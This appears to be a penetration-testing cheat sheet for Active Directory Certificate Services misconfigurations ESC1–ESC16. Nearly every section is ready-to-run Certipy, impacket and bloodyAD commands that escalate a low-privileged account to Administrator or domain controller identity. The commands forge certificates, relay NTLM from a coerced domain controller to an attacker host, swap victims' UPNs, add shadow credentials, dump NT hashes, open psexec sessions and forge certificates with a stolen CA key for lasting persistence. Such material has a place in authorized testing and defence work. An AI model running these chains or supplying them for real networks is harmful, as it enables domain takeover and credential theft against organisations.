ADCS ESC1-16
Sections ADCS ESC1-16
Active Directory Certificate Services misconfigurations, ESC1 through ESC16. Certipy v5 covers detection and exploitation for almost all of them.
DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'
CA='CORP-CA'
CA_HOST='ca.corp.local'
i. Enumerate
Certipy find shows everything: templates, CA config, vulnerabilities flagged per template:
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -stdout
## Just vulnerable ones, less noise:
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -stdout -vulnerable
## Hide admin permissions to reduce output:
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -stdout -hide-admins -vulnerable
## Save full output to JSON + TXT for reference:
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC
## Output: YYYYMMDDHHMMSS_Certipy.json + _Certipy.txt + _Certipy.zip (BloodHound import)
Drop the zip into BloodHound, certipy adds ADCSESC1 through ADCSESC16 edges automatically.
ii. ESC1 - Enrollee supplies subject + Client Auth EKU
Template lets you specify the SAN, and the cert can be used to authenticate. Request a cert AS Administrator:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template VulnTemplate \
-upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
## Output: administrator.pfx
## Use the cert to get Administrator's NT hash:
certipy auth -pfx administrator.pfx -dc-ip $DC
The -sid flag attaches the szOID_NTDS_CA_SECURITY_EXT extension. Without it, post-patch DCs reject the cert. Get the target’s SID from nxc ldap $DC --get-sid or impacket-lookupsid.
iii. ESC2 - Any Purpose / SubCA template
The template has Any Purpose EKU (or no EKU = same effect). Same exploit as ESC1, just specify the target’s UPN:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template AnyPurposeTemplate \
-upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip $DC
iv. ESC3 - Enrollment Agent template
You can enroll for a cert that has Certificate Request Agent EKU. Then use that cert to enroll on behalf of another user.
## Step 1: Enroll as yourself for the EA cert
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template EnrollmentAgentTemplate
## Output: svc_user.pfx (EA cert)
## Step 2: Use the EA cert to request a cert AS Administrator
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template User \
-pfx svc_user.pfx -on-behalf-of "$DOMAIN\\Administrator"
## Output: administrator.pfx
## Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC
v. ESC4 - Template WriteDacl (template ACL hijack)
You have write rights to the template object. Make it ESC1-vulnerable, then exploit as ESC1.
## Save current template config:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -save-old
## Overwrite to ESC1-vulnerable defaults:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -write-default-configuration
## Now exploit as ESC1:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template VulnTemplate \
-upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip $DC
## Restore template:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -configuration template.json
vi. ESC5 - Object owner / DACL on AD objects
A range of AD objects related to PKI (CA, NTAuthCertificates container, etc) have weak ACLs. Specific to the misconfig - sometimes leads to ESC4, sometimes lets you publish a malicious root CA.
## Identify which object via certipy find output
## Then chain via the appropriate primitive (template write -> ESC4, etc)
vii. ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 enabled on CA
Any cert template that allows authentication becomes vulnerable to SAN injection because the CA honors user-supplied SANs regardless of template setting.
## Any template with Client Auth + your enroll right is now ESC1-like
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template User \
-upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip $DC
viii. ESC7 - Vulnerable CA permissions (ManageCA / ManageCertificates)
You have ManageCA or ManageCertificates rights on the CA itself. Two paths:
ManageCA: enable ESC6, then ESC1
certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -enable-edit-flag EDITF_ATTRIBUTESUBJECTALTNAME2
## Now ESC6 applies, exploit as ESC1
## Restore when done:
certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -disable-edit-flag EDITF_ATTRIBUTESUBJECTALTNAME2
ManageCA + add yourself as Officer, approve a pending request
certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -add-officer $USER
## Submit a request without enrollment right (it goes pending):
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template SubCA \
-upn Administrator@$DOMAIN -sid 'S-1-5-21-...-500'
## Note the request ID, then issue it:
certipy ca -u $USER@$DOMAIN -p $PASS -dc-ip $DC -ca $CA -issue-request $REQ_ID
## Retrieve the issued cert:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC -target $CA_HOST -ca $CA -retrieve $REQ_ID
certipy auth -pfx administrator.pfx -dc-ip $DC
ix. ESC8 - NTLM relay to HTTP cert enrollment
CA has Web Enrollment enabled and accepts NTLM. Coerce DC$ to authenticate, relay to /certsrv/, get a DC cert.
## Terminal 1: certipy in relay mode
certipy relay -target "http://$CA_HOST" -template DomainController
## or:
sudo impacket-ntlmrelayx -t "http://$CA_HOST/certsrv/certfnsh.asp" --adcs --template DomainController -smb2support
## Terminal 2: coerce DC to authenticate to attacker
impacket-petitpotam -d $DOMAIN -u $USER -p $PASS $ATTACKER $DC
## or:
coercer coerce -l $ATTACKER -t $DC -u $USER -p $PASS -d $DOMAIN
## After relay: certipy saves DC.pfx
certipy auth -pfx dc.pfx -dc-ip $DC
## Output: NT hash of DC$ -> DCSync, see [DCSync](https://jinpwn.dev/cheatsheets/active-directory/ad12-dcsync/)
ESC8 against HTTPS endpoint requires Channel Binding to be disabled, which is rare in 2026. HTTP endpoint is more common to be available.
x. ESC9 - No SID security extension (CVE-2022-26923)
Template has msPKI-Enrollment-Flag with NO_SECURITY_EXTENSION set. Without the SID extension, post-CVE-2022-26923 DCs map the cert based on UPN alone. Combine with WriteAccountUPN or GenericWrite on a target user.
## Step 1: Set victim's UPN to match Administrator (you need GenericWrite on victim)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'Administrator'
## Step 2: Request the cert as victim (without -sid since template has no security ext)
certipy req -u victim@$DOMAIN -p $VICTIM_PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template ESC9Template
## Step 3: Reset victim's UPN to avoid disrupting service
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'victim@corp.local'
## Step 4: Auth with the cert -> Administrator
certipy auth -pfx victim.pfx -dc-ip $DC -username administrator -domain $DOMAIN
xi. ESC10 - Weak certificate mapping
Registry CertificateMappingMethods allows UPN-only mapping (0x4) or weak explicit map (0x8). Same UPN-swap chain as ESC9.
xii. ESC11 - Relay to ICPR RPC (no encryption enforced)
Same chain as ESC8 but RPC endpoint instead of HTTP. Useful when web enrollment is disabled but ICPR is exposed.
## certipy relay supports RPC scheme:
certipy relay -target "rpc://$CA_HOST" -template DomainController
## Coerce as in ESC8
xiii. ESC12 - TPM-bound key validation bypass
Requires code execution on a CA with TPM-attached. Out of scope for standard pentest workflows - read the certipy wiki if you encounter this scenario.
xiv. ESC13 - Issuance Policy OID -> group
Template has an Issuance Policy OID that’s linked to a privileged group via msDS-OIDToGroupLink. Enrolling = automatic group membership in the linked group.
## Certipy find flags this with ESC13
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template ESC13Template
## When authenticating, you get the group membership baked into the PAC:
certipy auth -pfx user.pfx -dc-ip $DC
## You now have Admin group rights via the cert's policy OID
xv. ESC14 - Weak altSecurityIdentities
You can write altSecurityIdentities on a target user. Add a mapping that points to a cert you control, then authenticate with that cert as the victim.
## Step 1: Get a cert with a known issuer + serial
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC -target $CA_HOST -ca $CA -template User
## Step 2: Get the cert's issuer and serial (output of certipy includes them)
## Step 3: Map them to victim's altSecurityIdentities
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim altSecurityIdentities \
-v 'X509:<I>CN=CORP-CA,DC=corp,DC=local<S>CN=svc_user'
## Step 4: Authenticate AS victim using your cert
certipy auth -pfx svc_user.pfx -dc-ip $DC -username victim -domain $DOMAIN
## Step 5: Cleanup
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim altSecurityIdentities
xvi. ESC15 / EKUwu (CVE-2024-49019)
Template based on Schema V1 with “Supply in Request” lets you inject EKUs via Application Policies. Patched as CVE-2024-49019 in late 2024 - boxes built before the patch still vulnerable.
## Detection via certipy find -vulnerable
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC \
-target $CA_HOST -ca $CA -template WebServer \
-application-policies 'Client Authentication' \
-upn Administrator@$DOMAIN
certipy auth -pfx administrator.pfx -dc-ip $DC
xvii. ESC16 - Disabled SID extension on CA (CVE-related, 2025)
CA has the SID extension disabled globally. All templates effectively act like ESC9. Same exploitation chain - UPN-swap a victim, request cert, swap back.
## Same chain as ESC9 (section x)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'Administrator'
certipy req -u victim@$DOMAIN -p $VICTIM_PASS -dc-ip $DC -target $CA_HOST -ca $CA -template User
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim userPrincipalName -v 'victim@corp.local'
certipy auth -pfx victim.pfx -dc-ip $DC -username administrator -domain $DOMAIN
xviii. Shadow Credentials via cert
When you have GenericWrite on a user and AD CS is enabled, the shadow credentials attack uses the msDS-KeyCredentialLink attribute to associate a cert with the user. bloodyAD wraps the whole flow:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add shadowCredentials victim
## Output: victim.ccache (TGT) or victim.pfx (cert + key, if PKINIT fails)
export KRB5CCNAME=victim.ccache
## or:
certipy auth -pfx victim.pfx -dc-ip $DC
## Cleanup:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove shadowCredentials victim
DC must be Server 2016+ for msDS-KeyCredentialLink schema.
xix. Certipy auth output options
## Standard auth, dump NT hash + save TGT:
certipy auth -pfx victim.pfx -dc-ip $DC
## When the cert has no UPN (e.g. machine account):
certipy auth -pfx machine.pfx -dc-ip $DC -username 'COMPUTER$' -domain $DOMAIN
## Save the resulting ccache and use it for impacket:
export KRB5CCNAME=$(pwd)/Administrator.ccache
impacket-psexec -k -no-pass dc.$DOMAIN
## Get the NT hash directly without saving ccache:
certipy auth -pfx victim.pfx -dc-ip $DC -no-save -print
xx. Forging certs (post-DA persistence)
Once you have the CA’s private key (via lsadump::ca on the CA host, or HSM extraction):
certipy forge -ca-pfx ca.pfx -upn Administrator@$DOMAIN -subject 'CN=Administrator'
certipy auth -pfx Administrator_forged.pfx -dc-ip $DC
Forged certs survive password changes and last as long as the CA cert. Common long-term persistence.
xxi. Quick reference
| ESC | Trigger | Exploit |
|---|---|---|
| ESC1 | Supply SAN + Client Auth | certipy req -upn Administrator -sid SID |
| ESC2 | Any Purpose EKU | same as ESC1 |
| ESC3 | Enrollment Agent EKU | enroll EA cert, then -on-behalf-of |
| ESC4 | Template WriteDacl | certipy template -write-default-configuration -> ESC1 |
| ESC5 | Object owner / weak DACL on PKI obj | chain to ESC4 or republish CA |
| ESC6 | CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 | any auth template -> ESC1 |
| ESC7 | ManageCA / ManageCertificates | enable ESC6 or approve pending request |
| ESC8 | HTTP cert enroll + NTLM | certipy relay + coerce |
| ESC9 | NO_SECURITY_EXTENSION on template | UPN swap with bloodyAD |
| ESC10 | Weak CertificateMappingMethods | UPN swap |
| ESC11 | ICPR RPC no encryption | certipy relay rpc:// + coerce |
| ESC12 | TPM CA + execution | rare, manual |
| ESC13 | Policy OID -> group link | certipy req -> inherit group |
| ESC14 | Write altSecurityIdentities | bloodyAD set + certipy auth |
| ESC15 | EKUwu Schema V1 | -application-policies |
| ESC16 | CA globally no-SID-ext | UPN swap on any auth template |